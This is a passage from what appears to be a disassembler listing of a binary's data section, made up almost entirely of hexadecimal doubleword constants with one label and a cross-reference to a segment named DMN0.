11A53BBCh, 8359120Bh, 0DF9EF982h, 6ACEDFA1h dd 0BDE65B01h, 9209F18Dh, 0E385B022h, 9231C399h, 0B58B7A54h dd 0EF2A0934h, 0F0FEB53Fh, 0BD05F8C4h, 3E95945Dh, 0D480F7EBh dd 95DE369Eh, 42FAC14Eh, 0AACA2E6Ch, 0F7327723h, 347CD8CCh dd 50EA361Ah, 0BACB08E3h, 7516F887h, 1A550138h, 0D96AD622h dd 82C3ED97h, 223F9FD1h, 3A94BB11h, 1E0C4BCFh, 0D75E5430h dd 0BDE84B04h, 0A2EFBBD2h, 700EAC1Ah, 0E429FDC1h, 0BA4FC158h dd 222D445Ch, 1D6C70F6h, 0C60887Ch, 2D636421h, 0E10772D0h dd 0F751876Fh, 96E87909h, 6FF9CF99h, 0A5E37A7Ah, 0C4172A31h dd 0B1ACF723h, 0AD0C989Ah, 27E06C6Eh, 0D60E08F8h, 56103B8Fh dd 0ABEEFC30h, 6230083Eh, 4433D661h, 19D9EC6Bh, 1E61F003h dd 759FBF9h, 0DEC43D32h, 8F5956FCh, 19560704h, 0EF56B794h dd 1C19B5F8h, 7474D820h, 0C2C4C4ABh, 0E13A1923h, 84747AA0h dd 0B0E6B56Ah, 931C79Ah, 2BE31865h, 7ACD6C7Bh, 0BCDC3748h dd 2FBC8BB4h, 69A62148h, 64A22C42h, 0E8C610B0h, 87B3D565h dd 94A866Fh, 0B7C9679Ch, 8CB9F549h, 0D0773B9Eh, 5D88E816h dd 2F412AFCh, 402C97E1h db 8Ah byte_464E49 db 9Eh, 0Ch, 0 ; DATA XREF: DMN0:off_4100D6o dd 64CDDB34h, 6869F26Ah, 1D516984h, 57F472ADh, 0A4BEA099h dd 4B874F9Dh, 19D87CE7h, 1E5FE1F1h, 402530E1h, 85AC32B7h dd 21AE099Bh, 0AD67A711h, 0C97C960Fh, 0D0E98B8Ch, 6A4DFD0Ah dd 27E73526h, 0FCAFDED8h, 38D806BFh, 9E604C1Bh, 0CC502664h dd 0E001B0DFh, 50489BF9h, 8B497FAAh, 37EF1342h, 4FF7C9DEh dd 0F5F28AF4h, 0D9DD7DD7h, 303882B1h, 0FEC51E4Bh, 38AD28FAh dd 0DDA744E9h, 0BD564EFh, 81C4D04Dh, 0F9B6416Eh, 0D625B99Bh dd 3477BD53h, 9387FBECh, 65CFE20Eh, 8DB224D7h, 0A881862Eh dd 9D6E96C8h, 335AA279h, 2226EEE7h, 6A8CF8DDh, 0A8C187EDh dd 2827D36h, 596CD369h, 7269C929h, 0B72AB1B2h, 4F907968h dd 17756724h, 3E36B33Dh, 0A41A9949h, 7B058A3Dh, 75B53EADh dd 0E12D869Ch, 0C60C9373h, 324CF43Dh, 152C911Eh, 0F4731E7Bh dd 0A6A60C4h, 0F7E4D03Dh, 0B957341Dh, 22BA1FC6h, 8C795530h dd 29C759D3h, 4B381CBFh, 5C074057h, 8645A5DCh, 3C2808D8h dd 0C2193139h, 37D94007h, 41394ACCh, 0AB545840h, 7FC77D33h dd 0D3812EBAh, 51F8A06Fh, 0B81F0EA9h, 603245BAh, 0D586B2CBh dd 0EA2E45DFh, 69034E40h, 89FD05A4h, 0E0702D98h, 6CAE086Ch dd 0E0AF2001h, 9255F9FFh, 59499BEFh, 99C0E268h, 0A512ACFAh dd 0B41EDEB1h, 0D81683ECh, 0C055BB0Eh, 0A40C4740h, 0CDDF72B4h dd 0A6DE1234h, 53CF45BFh, 0A16B31F6h, 58AF794Eh, 7D1F5304h dd 5CF5E63h, 0EA7E7756h, 0CF1C7067h, 0F4A320D2h, 0A31DC729h dd 9670D0B0h, 86AD615h, 175A027Ah, 0DA5F067Ch, 4C89E9Dh dd 3B760993h, 0D8EE7672h, 0E55C6C5Dh, 0DD1A8DBAh, 0F449F9D9h dd 167D6BE4h, 6274D636h, 4FC0D45h, 0B997C522h, 0A80C3670h dd 50510C57h, 0DEA531CDh, 0D4FCF321h, 7AEE14BDh, 4E90A8FFh dd 7E9CBF8Dh, 53E0AD3Ah, 17C15056h, 0F7F421BDh, 0EA13F983h dd 5DBADFA2h, 32246971h, 0F7ABF82Fh, 4DD13789h, 14B0B302h dd 0F23B08D9h, 218A29FBh, 94887A0Bh, 0C655B0C6h, 67BDAF65h dd 188DC90Ch, 78693BC6h, 484AC4E5h, 34FC98B4h, 716F7D3Ah dd 0E51E2303h, 0EAA067CFh, 0B9268997h, 4F33DDA4h, 0AF270113h dd 834C5C84h, 0B70797FCh, 0C2E6CA34h, 0C2AA71E0h, 48C82877h dd 12D9159Ah, 1891C1A1h, 95F696D4h, 0DF7C35B5h, 0FE016494h dd 79869F16h, 4343999h, 0F59D6205h, 68CD3290h, 77674A35h dd 561E1754h, 0DA97648Fh, 0DD7309E2h, 4CAAD426h, 0D54A2D7Ch dd 90A6F81Eh, 5FCEA473h, 5397BA12h, 5CFA0C58h, 2A00773Ah dd 17DBA32Ah, 921E6959h, 0DD189DDDh, 40364652h, 9DF0ABE7h dd 0DD886238h, 6D197B8Ch, 0D71C6D8Ch, 52C0D87Ch, 5451165Eh dd 0FBD6BAC9h, 9B883428h, 0F8C624D7h, 4852C93Fh, 16143E66h dd 834510D5h, 8AFD325Dh, 856E6074h, 6663DC9Ch, 0CBADD1Bh dd 0E6F7B372h, 0D768F805h, 9846C400h, 2B6EEAh, 0FE41B944h dd 87B92BF8h, 8B0F7C09h, 0C1D619E1h, 65CEB1EEh, 2726098Fh dd 78447583h, 0C0C0A9CCh, 0BFF89036h, 73C57694h, 92B563Fh dd 0B27FEFCFh, 0B24218BEh, 8A309B29h, 0CD6619F9h, 17AE367Dh dd 6BF48D9h, 7B6F0BA0h, 40A5B053h, 0FEC7DF40h, 1F426C0h dd 51B97C6Bh, 3CB7E2CBh, 5CFD4DB6h, 86D11059h, 2BAB864Fh dd 20ECC312h, 7782BC51h, 0A14D8B26h, 0F32EFDF4h, 0B92017ECh dd 201335D9h, 0D88001D2h, 150E1C27h, 953FCDD6h, 153D81DFh dd 0A0384CEh, 0DAF2CD05h, 2828D71Dh, 0D10CB6B1h, 0F4DFAF80h dd 541A7549h, 85DD7462h, 0E242C142h, 690F9F2Bh, 0B7056DDAh dd 4D5AA857h, 0E71E17FBh, 0F5B7B672h, 5333468Eh, 141A0438h dd 0A203FD07h, 0C7612A61h, 0B19BC964h, 90640DE3h, 0C573526h dd 0AE93DB7Bh, 8D3A1C2Ch, 0E0F4F98Fh, 0E95A6D10h, 22432741h dd 0D2BBDCABh, 32E6A3D4h, 8552C858h, 5CAB68Ch, 83DBF81Bh dd 1FA4BFB1h, 9C40743h, 67819361h, 91B1400Fh, 784A59C3h dd 44362D25h, 0BFE40BD7h, 7161049Fh, 4FA1B7BBh, 0BDBF7601h dd 324250DDh, 0CF32213Ah, 0ED66094Ah, 53AE05E1h, 9B4017ADh dd 0F76F0EB2h, 6AA7095h, 0DDC7DF1Fh, 6650125Bh, 50E902F8h dd 0B9879628h, 0F4504E30h, 8ED91054h, 9DFD8F5Eh, 36C4A13h dd 47A316C4h, 0A0408026h, 0F132C924h, 0C850C756h, 0DCEA20DEh dd 0D212F9D2h, 17E71D24h, 653DEFD6h, 0E55DF2DDh, 0F401C80Ch dd 0D6B2C8C8h, 0EE68AD6h, 0D2F76B77h, 908C2808h, 55DD02BEh dd 547FBC24h, 0F6847DFBh, 32A45823h, 45CA69DDh, 0E6D16954h dd 7CC4B706h, 91184418h, 5C2FC5FEh, 0B19E906h, 0FEF08507h dd 5425D573h, 0D75D42D9h, 551C9DE7h, 5274782Eh, 0FB60DB8Fh dd 964BC284h, 139570ACh, 6F9DD1Fh, 235EA3BFh, 4A985A8Bh dd 637BBC0Ch, 34094501h, 0F8BBCA48h, 80540376h, 1397C009h dd 2927D943h, 6760A221h, 95357DB4h, 74359D83h, 4C161F8Eh dd 0EB6F084Ch, 0F8850483h, 4BDC96BEh, 0CE343447h, 399C76C0h dd 5132A87Ch, 0A07AD741h, 0C627D924h, 0E3401D4Fh, 0FAB70E0Eh dd 58AEF428h, 64C67293h, 72589794h, 27AA02DBh, 0F82E3B49h dd 0D2A04AF4h, 6A48C241h, 95718BDCh, 9B02CFE7h, 0B0C916C8h dd 477004A4h, 5720DF35h, 0B43B0255h, 6A6030DEh, 0C88147DCh dd 2EEF4ECCh, 942DAD6h, 0E0EB05E6h, 0B584339h, 0DA075B15h dd 82E17D9Dh, 5E3FC370h, 0C5AAD91Ch, 4F4F49E2h, 0DE15DB29h dd 0F6813F25h, 95FA3710h, 9D8C0F51h, 8315EB59h, 36156A7Bh dd 0D16EA3E2h, 2D53B448h, 0F01C20F7h, 7A34CF08h, 7967C25Dh dd 661BC824h, 0B7BFD90Eh, 219CFD7Fh, 8E818ABh, 7A8BACA9h dd 0CF0DD65Ch, 0CFEEDDE8h, 6C5A2BFFh, 521C3AA8h, 0BB3D3C88h dd 0B76BF301h, 8EAA524Ch, 0EBACCCFBh, 2ACE235h, 0C3E5AE43h dd 6047BA65h, 90107C0Fh, 4CE84E43h, 442E6724h, 0C3F76AF7h dd 7168EBE6h, 41A48F73h, 0B0F9C8ECh, 324D968Fh, 0FC73182h dd 2D66594Ah, 6E71F167h, 6B41E6DDh, 0D47B14D3h, 0BAA7845Ah dd 10C7DE17h, 29D10Bh, 4D69023Ah, 7515C71Ah, 0FA81B237h dd 0BC839925h, 37844F63h, 93007AB9h, 53989E2Eh, 6136D5h dd 8041A2E5h, 0DF88E48Eh, 52D2E0EBh, 23B19A52h, 0C6838BDAh dd 88A5E6E7h, 0B00C7992h, 258A5B4Dh, 1AD28799h, 9BB236CDh dd 8FF4FFE5h, 0EF130A33h, 6BE67452h, 86AF5129h, 1FCC8B62h dd 281BB1A3h, 0F43463E5h, 88D62F9Dh, 1F8156EAh, 0F6DCEF76h dd 27141FFBh, 0D70F36EAh, 3B0E29DAh, 0A13950F4h, 2692818Bh dd 0D9330D69h, 0B7B3C766h, 5444BD9Fh, 8B8A4CE8h, 9E22F874h dd 1EE36167h, 0B7F8EB36h, 0DD11D7C4h, 22380805h, 0D75B87D8h dd 0A8914EBEh, 4C11E30Fh, 0A6B82118h, 0B827A7FCh, 9BF7161Fh dd 0C097D62Bh, 0C02760E4h, 1D2530DBh, 5C65182Eh, 0C8D8FE8Bh dd 0E277989Ah, 7B2AAAAh, 0F373DE8Dh, 34E179FCh, 11FDCC9Ah dd 3B9F35EEh, 0F3770D83h, 0F944FA23h, 696A9C25h, 0E62D94C6h dd 0FB8EA933h, 8C0F8465h, 552A7109h, 8AD1E103h, 0EEF26174h dd 0A77D4B48h, 1E32E2C8h, 2286E2D5h, 5AE42978h, 251D66FCh dd 2D08EFCDh, 0C0E11F2h, 3D7A2431h, 5DF576EBh, 42FB3DCBh dd 1D686CA6h, 23834EC0h, 0D024E52Bh, 62DC7F67h, 37A24171h dd 0A1406F23h, 0DD95FEECh, 8140A6CBh, 4DBBEC8Ch, 0C4922D35h dd 89511502h, 0A4418327h, 0B111F416h, 7585B08Ch, 0B031481Ah dd 4B87CA6Dh, 7B00B81Fh, 574218CCh, 0BA6B3E57h, 8263175Ch dd 1EF6196h, 0BA45B654h dd 0D21418BCh, 0BE439C45h, 1269478Ah, 0AE2E27E7h, 7AFDF21h dd 713CDBB3h, 0A5762F2Dh, 0F05449CDh, 0E363184h, 685964Bh dd 6306F931h, 93F57AE0h, 4F88E57Ch, 28867826h, 0A11134CCh dd 0BD4667A7h, 0FBBE8A0Dh, 0A2C057B7h, 3522B70Dh, 2B866C34h dd 15DD842Bh, 24B75C2Ah, 0DBD18A00h, 53A15396h, 5966E8Bh dd 9CAA4B57h, 791B7FB3h, 0A29D543Eh, 7CCFADE7h, 0C40318B7h dd 202C3A84h, 0E66C249Bh, 52635F4Dh, 0F0BC5812h, 0D73AE3C6h dd 0B0E23C5h, 0D571BEFBh, 2F71F462h, 0AEE1136Ah, 8377043h dd 0F0A502C5h, 44D319F8h, 0CCB4BB1Bh, 0C3D2296Dh, 8D9117C2h dd 7F190663h, 4ACD5FADh, 0A4DB7156h, 1FDBD4E9h, 745DC35h dd 0C599BA6Dh, 1FD37DA2h, 72B26198h, 0DBDC3D8Dh, 0F390AF98h dd 931C3AA7h, 0C0837F2Eh, 0D2D86567h, 0D0AC33E7h, 0F01CE5EBh dd 2F857A6h, 2EBEF82Ch, 0EAD0B67Ah, 0D45D9CB4h, 0EB6A2901h dd 9AB381E5h, 14A5C3C4h, 4B1A6F4Ah, 0C26A17D2h, 0DA12E0Bh dd 3DF1DC14h, 97F5620Dh, 0FFA83828h, 9E4544CFh, 2C495DDEh dd 0D7CCEF06h, 0FA6DBD71h, 1C6AF173h, 4FCC82Ah, 0F6DF0E8Fh dd 931F9D62h, 0EB722D96h, 44F66D9Eh, 9D47E10Bh, 78CFB68Ch dd 1E5D22E6h, 9CC8ED99h, 0FF485CAFh, 7D8AD250h, 0FA27BB31h dd 9D6112DDh, 0F464B022h, 5F0532C2h, 0F6EC5062h, 3C323EF0h dd 8AC340B2h, 8655419h, 0DA6526EEh, 75891B5Dh, 5F164BD3h dd 13267602h, 3EC914C5h, 13C0DD3Bh, 0B424FB5Ch, 0F2B453C7h dd 4FA7114Dh, 241C28F7h, 0F8125D43h, 0D622F50Ah, 0C1595CAEh dd 0B4EDB854h, 0F1152DBh, 0A030B87Ah, 9186DBC6h, 16EDDFE6h dd 0ABAC925Bh, 0E0E06D55h, 49DC2C2Bh, 2F6195AEh, 0B1771B97h dd 0E576149Ch, 885E2589h, 0BC05BA4Fh, 6206CF1Fh, 72187239h dd 0FF7662FBh, 52CD3B4Ch, 4EDFC6BAh, 0D0ECC826h, 0F9F582F8h dd 64496EC6h, 4DBFFE11h, 36546030h, 523470B1h, 812D9834h dd 0E3B7A9FAh, 0D2C7382Eh, 13526C7Ch, 0E06AF9A3h, 2296363Eh dd 0CFDD743Fh, 1CDB6756h, 407AD7A0h, 851813AEh, 0DF201560h dd 9BE957B3h, 75BA22EBh, 95673068h, 873EE5F1h, 925F9E53h dd 8FA0D2AFh, 61029D16h, 7EB23D0Bh, 13022A75h, 4CE0859Eh dd 0EAC02FF5h, 6E2302D3h, 0A4565EA6h, 590CDBA4h, 99A145BBh dd 7C1EA5DCh, 0B0AF7D30h, 0D5C9298Fh, 0D9540EF6h, 0B292749h dd 319B6BA1h, 53901882h, 63214D62h, 1230F59Fh, 1E67678Ch dd 3B708E32h, 6DBA88F6h, 0F2365BCBh, 0B58E9D36h, 913D7969h dd 2E4C00EFh, 0C408A8E6h, 0BB45DC45h, 3326D16Fh, 5A03B46Ch dd 1F7F44C4h, 1D9D9C95h, 0AE89289h, 2F1A9BC7h, 0AD9BF11Dh dd 0C6AA1648h, 45C981Eh, 44A71C8Dh, 0EF283B1Ch, 2995FF49h dd 2C914FFFh, 1A52880Bh, 0EA2276CEh, 0ED5ECB81h, 0EC4C671Ah dd 574C777Ch, 0A03F7C98h, 0C1283FB3h, 0EF8E09D6h, 9C1CB63Bh dd 5A1CBA99h, 294B406Ah, 9C4E6496h, 4C42D9Eh, 0ACF030DCh dd 5495C16Eh, 25607734h, 0B564F957h, 0A9AB9ACBh, 89D32464h dd 0F3EAAB51h, 36B891D3h, 7AEB30A9h, 59862E8Dh, 5E059CCBh dd 0C75B9DFAh, 51F9DB75h, 1F3EE457h, 1E672EA8h, 3C6C7B34h dd 74974D7Dh, 2CA9444Ah, 5A41B0C1h, 4DCFBAFFh, 8483046Bh dd 8400B4E7h, 20118857h, 594AE721h, 6D594A7h, 5A03C6F3h dd 0B3AC340Eh, 0AD27AAF8h, 12D1AF9h, 0B0D69534h, 0DB079668h dd 0A6FA9E6Ch, 593E37F5h, 66461652h, 0CDD1977Dh, 0FB96ABFh dd 185ED3AAh, 0A8C0C8ECh, 0DF7A8FA6h, 3922A184h, 9DBA059h dd 363FE513h, 27A03821h, 0BDBC280h, 0B1BAB84Dh, 807158Ah dd 0F250329h, 2590397h, 24B6100Ah, 2C6681E7h, 2CA01999h dd 26025270h, 4DC0AA6Ah, 9A382CC5h, 25AC4AA8h, 4727BEADh dd 9D7F667Eh, 5E1F1EC2h, 0DFB9C380h, 91D07AAh, 0A2CF7215h dd 0D0C6F5CBh, 6B54ACC3h, 81D58601h, 168C0F59h, 0D0FCC1EFh dd 0F3EE54AAh, 478C998Ah, 0E14F3C94h, 2A136182h, 0ADA04FF7h dd 0A792DDCDh, 53901CC7h, 0C81CDC8Ch, 5BD40420h, 78230F43h dd 902CDAACh, 1DB1769Bh, 752FFA4Eh, 0C164034Fh, 0BB558B2Eh dd 0CA119E91h, 0DAFF7489h, 95DE716Bh, 0E2E5CCD3h, 0D5C7D9FDh dd 0F48AFDCFh, 5ADF2323h, 0A24AB8E7h, 0DD619AC5h, 9ED14859h dd 4A1DB03Bh, 55896DD6h, 0B24CA988h, 0ADDE71A0h, 6065A628h dd 22F64BF4h, 8BA23185h, 252498Fh, 9F804314h, 651022Eh dd 12C88AA5h, 6A0C121h, 32251720h, 64C7F4ABh, 0D4A25C6Bh dd 27F3F47Fh, 64675C1Dh, 0FCAA88D9h, 3F829236h, 42B879B4h dd 25365D48h, 7B2A2530h, 0B96F1F74h, 3A4997A4h, 0DED72A7h dd 1D3F5BD9h, 0DCC871DFh, 153A51D1h, 0E4F5D5C1h, 0E5310C0h dd 9A6CA99Fh, 0DAADA27Bh, 95F94B2Bh, 1646BAB1h, 53568038h dd 9DC08942h, 411ED680h, 129DF6B1h, 83F92CABh, 735BA663h dd 0C9352A40h, 0B690C6h, 19DEF649h, 0BBA2DFDAh, 7118DD28h dd 42890238h, 0B3D6E786h, 39A81C69h, 933DE4D6h, 76D91F18h dd 6265D235h, 59C93827h, 3F3DCCE7h, 0FD417C53h, 0B863632Ch dd 8FD30D09h, 0E93D15B7h, 7E96EC5Eh, 300A98ACh, 44371D7Ch dd 595CEE5Ah, 12CC7B1Dh, 6D0EAD17h, 9AF1EFB0h, 823DD1A9h dd 0E43B075Bh, 0AE9580F7h, 0C0CC3681h, 0C62ECC24h, 19D4D9AEh dd 0BCEC682Ah, 6B36788Ch, 451296A6h, 7B4926A0h, 1115AF3Dh dd 21B331B7h, 2B437612h, 3A64506Ah, 48EDF15Eh, 1DE36CF6h dd 763220ECh, 783BC82Dh, 26FB9FF3h, 0D6E78CAh, 0A2961A9Ch dd 0F9291073h, 8E5324F6h, 0DD55DFC6h, 2DB8FF5Ch, 860D2C9Ch dd 5DA2454h, 0BD1699A1h, 0C637B4F7h, 17A0F457h, 0F90E15C6h dd 95F2CB2Dh, 92C9BBEDh, 30E3F23h, 5DE05996h, 27D0E0Ch dd 44E35DF5h, 0A92F839Dh, 207DEBE2h, 84F7D565h, 8834DFBh dd 5FD3604Fh, 905929D2h, 5C4BE9D7h, 0AFC2631Eh, 0B6FB9568h dd 7690EDAEh, 1AE4EFB6h, 0C3679282h, 8762F810h, 74A84A4Eh dd 2E669F58h, 0DF41DFEAh, 29AE1525h, 308A0E2Ah, 4909C92Ch dd 0F626FC5Bh, 0DDF8F4D2h, 0B5FBB122h, 326FCFE7h, 400F9230h dd 0DDB8A3FDh, 35894633h, 0E7BBA762h, 28E206FFh, 0E703C3FFh dd 6AF026CDh, 2596996Ch, 8024428Bh, 7D2D0703h, 12DEB5C3h dd 0E47F1255h, 0E77B0D3Fh, 0BD680541h, 0ECD14E5Dh, 7803533h dd 90603BDBh, 0ACFA655Eh, 0B608E137h, 0F8397BF4h, 5294898Ah dd 0C6058BBBh, 0E15673A0h, 0ECCC4D75h, 8692A048h, 8F152410h dd 0DDB2A525h, 892FA0E0h, 4D3DD3B7h, 631CBF64h, 0BEA751B5h dd 70C0601h, 0DA1941DDh, 0E47B1689h, 0E2A028B0h, 96B6CFE5h dd 2692EECBh, 0C480B748h, 179F99DCh, 3A01BE98h, 136E359Dh dd 2B1F291h, 1961A4AEh, 0E6C1A68Eh, 58F25763h, 5D5609EBh dd 44F82A07h, 9FDBCD94h, 49F473A8h, 0F9A91390h, 41A619D7h dd 0ED2A4D79h, 981C2B9h, 91AB369Bh, 15A7D569h, 0E1EB85EAh dd 70BCEAC2h, 0C972B9CCh, 0DDD14D13h, 55C0D356h, 0C8439CC8h dd 0AD84BF87h, 0BC60151Fh, 7D185D33h, 0A748F5A2h, 61D9B30Ch dd 5D86D9B6h, 2C6234AFh, 90CCEF7Eh, 643A0236h, 0FE7BE54Fh dd 0EA3E5FBEh, 711D3009h, 0B9519C1Ah, 0D05CBE14h, 34C0A7BCh dd 4F33E11Ah, 0F8BB8435h, 4D381C59h, 3DD5F653h, 20708266h dd 0E61B6E02h, 5A18D9DAh, 80663876h, 0E666BB04h, 564F34h dd 9402AFE5h, 0D91040F2h, 0DFCF3375h, 57218732h, 79A408E1h dd 725A963Ah, 126936FCh dd 5BB465DAh, 50AA407Fh, 0E9026340h, 77D9E6Dh, 824AE752h dd 8F5CBDAh, 0B24A9B1Ch, 838A3F45h, 206C7FBEh, 7E9AE8BBh dd 8FC2AD3Ah, 600B0657h, 70E1B6EAh, 0FA3809D0h, 0ADA28F22h dd 3672C3D5h, 21D3A3B0h, 0BC420C17h, 919A9C9Fh, 293D3BDEh dd 7237C4FCh, 0D0F480E4h, 912BF0h, 0FEA393C0h, 0E6FDE8E8h dd 0BAA6832Fh, 0A2EE105Bh, 3039C33Ah, 1516AAE5h, 286F84E8h dd 0FF640537h, 0B750FB19h, 0BA506697h, 7C3DF893h, 0EC5F06A2h dd 106FC1A8h, 0FB3AF14h, 0CD3FF68Ch, 0B74C8363h, 632F8EC3h dd 9DB3673Bh, 0CB40148Eh, 4E287C6Eh, 29FFC2F9h, 0D34D073Eh dd 583A4C3Ch, 7AA269EDh, 6C1606A2h, 89F19A1Dh, 0FDE58CF9h dd 1539A5CCh, 42D42815h, 0C3406415h, 0A5AD22E3h, 0AC3D3459h dd 0B21EA5FAh, 0C89418Eh, 4F3586CEh, 0A398FD44h, 2036034Bh dd 53DBA6E7h, 6641BE0Ah, 0D1243E17h, 935B356Bh, 0A5DA3490h dd 5B3DD657h, 575BAADEh, 0CBD813A7h, 0B7E62AC4h, 4A4CDCCCh dd 0A2FA43E9h, 2CE1F737h, 2A79D0E2h, 0CF76B206h, 78D9C6C7h dd 0A5B42BDCh, 0F3DE3583h, 6CD339B4h, 6777959Fh, 158BFB35h dd 0A19D8253h, 10CB2F62h, 0CB748DBAh, 0F91B8258h, 8829D9FBh dd 0CD1C992Eh, 33B009FFh, 0D2639522h, 5A363E21h, 8209B3DDh dd 0F3AF3A42h, 7610311Fh, 0B225C7FCh, 0E893BA61h, 0F02F62B8h dd 0F8AEA29Bh, 384244D7h, 774A41FEh, 8929238Dh, 0E7E8C591h dd 0F7B18B80h, 451A34B7h, 0FD9ADC36h, 23443386h, 90885811h dd 0B039CA05h, 0B7668840h, 188985FEh, 26AE3452h, 49838AE5h dd 46FC2683h, 5332A483h, 34E1344Bh, 2929114Eh, 32EC2B99h dd 0DD90032Ah, 5857F5C0h, 0B3173B5Ah, 8E6762DFh, 3DDDDE68h dd 0EBA24B9Ah, 0EA695AADh, 3691D552h, 0C75441BAh, 88DEF2Bh dd 0BC03D357h, 0D49E18B2h, 115FEC6Ah, 0F0C29443h, 0FC1C69D4h dd 0CB7F4C5Fh, 37589262h, 0F908D75Ch, 5ED9DEABh, 1816154Bh dd 880E482Eh, 8E688251h, 7369875Fh, 8ACE5420h, 0D8E4B07Fh dd 0AB62E2D4h, 0B0DB7A10h, 2BD4FBFFh, 0B1CCC04Bh, 4744EA38h dd 133A9F38h, 473B5B6Ch, 0C81FD133h, 0DA665567h, 33245890h dd 56CB0B5Fh, 9901A411h, 239B0CFEh, 0E1C623EBh, 3FCFFCDh dd 0FA050B07h, 411F3B3Fh, 6C15809Eh, 6A0F4B2Fh, 0FBD8501h dd 0B2F9CC3Dh, 0D65B25D6h, 0CB94D3F4h, 0C6020225h, 4AE4D39Ah dd 0B9549FE8h, 892E7022h, 0AABA8B25h, 0B3451859h, 1B570587h dd 3F7B346Ah, 20D66AD7h, 6CD5C988h, 0EA50EA4Ah, 559505A9h dd 0B0F51F4Dh, 0B72E2FCEh, 0CA0DE818h, 0DD13FCC8h, 0F994BE97h dd 0FB11EE87h, 344F35A5h, 6C13933Ah, 96D05E11h, 0D4AE45A5h dd 7A9B94DCh, 0A5638D91h, 3CEB1F55h, 69FB4256h, 7613845Eh dd 2EA2E38Eh, 0B21ECBCBh, 2A714D30h, 449387FAh, 3F4C57C4h dd 24573680h, 88CD49FFh, 0CEFEA57Eh, 0C6779E92h, 0A1F82232h dd 0B286BF1Dh, 0E7AFE81h, 0B94993D2h, 9FDB22B1h, 0AD689906h dd 1BCE9B03h, 7230EE68h, 6702AA2Dh, 296929B1h, 3045E699h dd 0F0F5D230h, 2D14782Ch, 6575FB47h, 333B120Ah, 494F5DD3h dd 0BB85210Eh, 0C581DC81h, 41B699DAh, 0C45C94F0h, 0A5709DC3h dd 301AE003h, 981EFC0Dh, 0D3700ADCh, 56295E22h, 5A52BC0Ah dd 17C1AD81h, 0AC3D4156h, 8187C209h, 10EA930Dh, 0AF1A9ABh dd 0E21DDDE8h, 0BE5B949Eh, 0F975F07Bh, 4E03F228h, 58C538F7h dd 5477804Ah, 7076C44Dh, 0F59BC15Dh, 0C57638A4h, 0EE881610h dd 135FA3FBh, 0B634A873h, 248B2EACh, 64B94537h, 4E2C13DDh dd 851F431Ah, 32463749h, 0B816925h, 77A72F94h, 0AC99D9C5h dd 0EE7C3FAEh, 0E4187766h, 0F0E90D44h, 54A01D93h, 0DD53EF59h dd 0C4035489h, 596AE4E2h, 0D5B0E4FDh, 0CF9F6761h, 4F810EC1h dd 0E9A4BFA1h, 0B0CE24DAh, 7C48F725h, 5E7DC095h, 0BB5E4554h dd 7EB39938h, 269748D9h, 0F4B3465Ah, 367BEEFh, 3A255B92h dd 323C8B91h, 0EC834F2Bh, 73338E7Fh, 7B667F80h, 56FB5174h dd 5EF7BF73h, 3521EDC3h, 0FACA2882h, 6264497Eh, 99FE539Ah dd 259329FEh, 0A4B916A7h, 7B8AE3C7h, 15DC9BD7h, 7B161451h dd 899063C5h, 0F2F34130h, 0D295DF64h, 0A9376877h, 0C157ABE0h dd 48A164D0h, 4E43584Bh, 0C17542FFh, 76B46D80h, 1BE77BDFh dd 81F1FAB8h, 2C2BE559h, 0F22C9EB5h, 0BD83538Ah, 523BA08Fh dd 0F49D698Fh, 528DD96Dh, 99B077EEh, 54C1DA22h, 0C67F2EC5h dd 2CA1868Eh, 3A6046EBh, 0AB83E14Ch, 6EBB5C12h, 6DFDDBA4h dd 0D2873006h, 0EEC2A954h, 3E99975Fh, 12FE9BC9h, 0FEA6CDEBh dd 5EA6DE3Ah, 20EBB861h, 7B875249h, 944011A2h, 84665CB9h dd 982BC544h, 0F84E8D5Bh, 29ED416Eh, 676843D5h, 0F9AFB82h dd 0A160CAAEh, 78BF88ABh, 76633BE0h, 7257D450h, 4188DE70h dd 7DB4D618h, 0E2D25AC6h, 40367F33h, 6F827EE6h, 0DE980545h dd 0C90F76F1h, 8ADC350Ah, 0D35AAE54h, 30507F64h, 55E48CBEh dd 9194E607h, 0E927264Dh, 78C7E8F9h, 7E3A7AAAh, 0CB568E46h dd 983EB31h, 2CD23212h, 11D2BB10h, 6FAFEEF8h, 2A36AC0Eh dd 0CB85B8B7h, 5102C6DCh, 82FDD02Eh, 0CCBEBA72h, 2227A28Fh dd 0F36AA1C3h, 0CFA49D16h, 0F314AFA1h, 0C57054EBh, 0C4F401E5h dd 19C420BEh, 636961CEh, 0F1C4963Bh, 3C65DD1Eh, 389ADADAh dd 7DEA2933h, 0A9D8458h, 58409ED5h, 722B42ECh, 0B48E96B6h dd 92333E0Ah, 0B71F8AFDh, 2A0C9A24h, 8804B6A1h, 162D487Eh dd 4A77F68Ch, 7635E043h, 0A0505798h, 0D77693CBh, 4BAF14ADh dd 9FEF2A02h, 72BCFD69h, 0C7A53495h, 3A3753D6h, 342E85FCh dd 1CB27E70h, 0D3351104h, 96D12F9Eh, 0F9DC3119h, 0D00F6136h dd 86D66449h, 0D50D28FDh, 0B7FB8C75h, 8A55AB29h, 46BE076Ch dd 5B2FF183h, 0E0B1C0A1h, 0A3F27F4Bh, 5ABB1231h, 51121D8Ch dd 9086947Fh, 0B1A721C2h, 0EE32E68h, 5A012CAh, 758B5F1Bh dd 0F948937Dh, 4AA1437Dh, 322C6BFEh, 58BE0F6Ch, 8A32AFCDh dd 0BDC281C2h, 60DB94ABh, 5A26EEACh, 59AA250h, 0C955DE0Ah dd 0A202C217h, 5CDE207Bh, 0CBA4535Fh, 0F708CA1h, 840BBD4Eh dd 0F76D31ECh, 4BF4D2E1h, 0BE18124Fh, 0E72132B3h, 59E0252Ah dd 0CF119A38h, 1E4B67A5h, 0E99D2A9Ah, 0E80D23FFh, 3D0673BFh dd 24B039F9h, 12C45C82h, 0F69402D1h, 381C7D19h, 9B4894F0h dd 0CC694BC9h, 0F9401BCAh, 71FFA57Ch, 3BA18C52h, 0FA0D47F5h dd 1F128A31h, 859BA770h, 7B28432Dh, 414C3EFBh, 53C8B497h dd 9231ABFDh, 0C3476943h, 84375D9Bh, 19EDA758h, 7EF98C7Ah dd 8184C1B0h, 9486EAE4h, 42960945h, 11F5B949h, 726BB298h dd 0EBB59D2Dh, 72891D02h, 0EDBBE587h, 7580AA24h, 16ACB671h dd 0F07EF986h, 0DD6ADF53h, 0B2A143CAh, 47765972h, 0B755C870h dd 71C29392h, 0AEAE4139h, 45AB1474h, 6D9BCCE8h, 24AE7ED0h dd 805E60A1h, 0A2BB76F1h, 23382C4Ch, 9E62B91Dh, 1F2D78A3h dd 4937B67Ah, 72B310BCh, 0E45E0221h, 19C73178h, 8E4BB3C9h dd 2D9F7E65h, 